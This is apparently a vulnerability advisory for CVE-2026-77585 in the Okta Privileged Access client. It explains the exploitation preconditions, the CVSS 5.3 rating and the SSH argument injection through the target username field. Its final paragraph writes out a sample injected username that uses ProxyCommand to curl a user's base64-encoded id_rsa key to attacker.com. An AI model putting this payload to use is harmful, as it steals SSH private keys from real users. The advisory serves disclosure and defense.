Okta Privileged Access CVE-2026-77585

Exploitation requires that an attacker be able to influence the SSH target username presented to the Okta Privileged Access client - the most direct path is having sufficient permissions within the Okta Privileged Access console to create or modify SSH target definitions (an application-level privilege, not a local OS privilege). A legitimate user must then actively initiate an SSH session to the crafted target (UI:R), meaning the attacker must also be able to direct or deceive a user into connecting to the malicious target. The high attack complexity (AC:H) reflects these compounding preconditions. Exploitation is limited to: environments where the Okta Privileged Access client is deployed and used for SSH session brokering; scenarios where the attacker can influence OPA target configuration; and scenarios where a user can be induced to connect to the attacker-controlled target. The local attack vector (AV:L) means remote unauthenticated exploitation against default configurations is not possible.

The vendor-assigned CVSS 3.1 score of 5.3 Medium reflects several mitigating factors that meaningfully suppress real-world exploitability despite the C:H impact rating. AV:L constrains the attack surface to local environments where the Okta Privileged Access client is installed and running. AC:H signals that specific preconditions must align - namely, that an attacker must be able to influence the SSH target username presented to the client, which in practice requires some level of access to Okta Privileged Access target configuration. UI:R further requires that a legitimate user actively initiates an SSH connection to the malicious target. The combination of AV:L, AC:H, and UI:R makes opportunistic mass exploitation unlikely. No EPSS score was provided in the input data, and the absence of KEV listing and public POC confirms this has not been observed as actively exploited. The C:H impact is realistic given that SSH option injection via ProxyCommand or IdentityFile flags could redirect connections or exfiltrate key material, but this impact is only realizable under the constrained conditions above. Overall, this is a genuine but targeted-risk vulnerability, not a broadly automatable threat.

An attacker with sufficient Okta Privileged Access permissions creates or modifies an SSH target definition, setting the username field to a hyphen-prefixed value such as '-oProxyCommand=/bin/bash -c "curl attacker.com/$(cat ~/.ssh/id_rsa | base64)"'. When a legitimate user subsequently opens an SSH session to that target through the Okta Privileged Access client, the client passes the malformed username directly to the SSH subprocess, which interprets it as a ProxyCommand option and executes the injected command in the context of the user's local session. No public exploit code is known at time of analysis.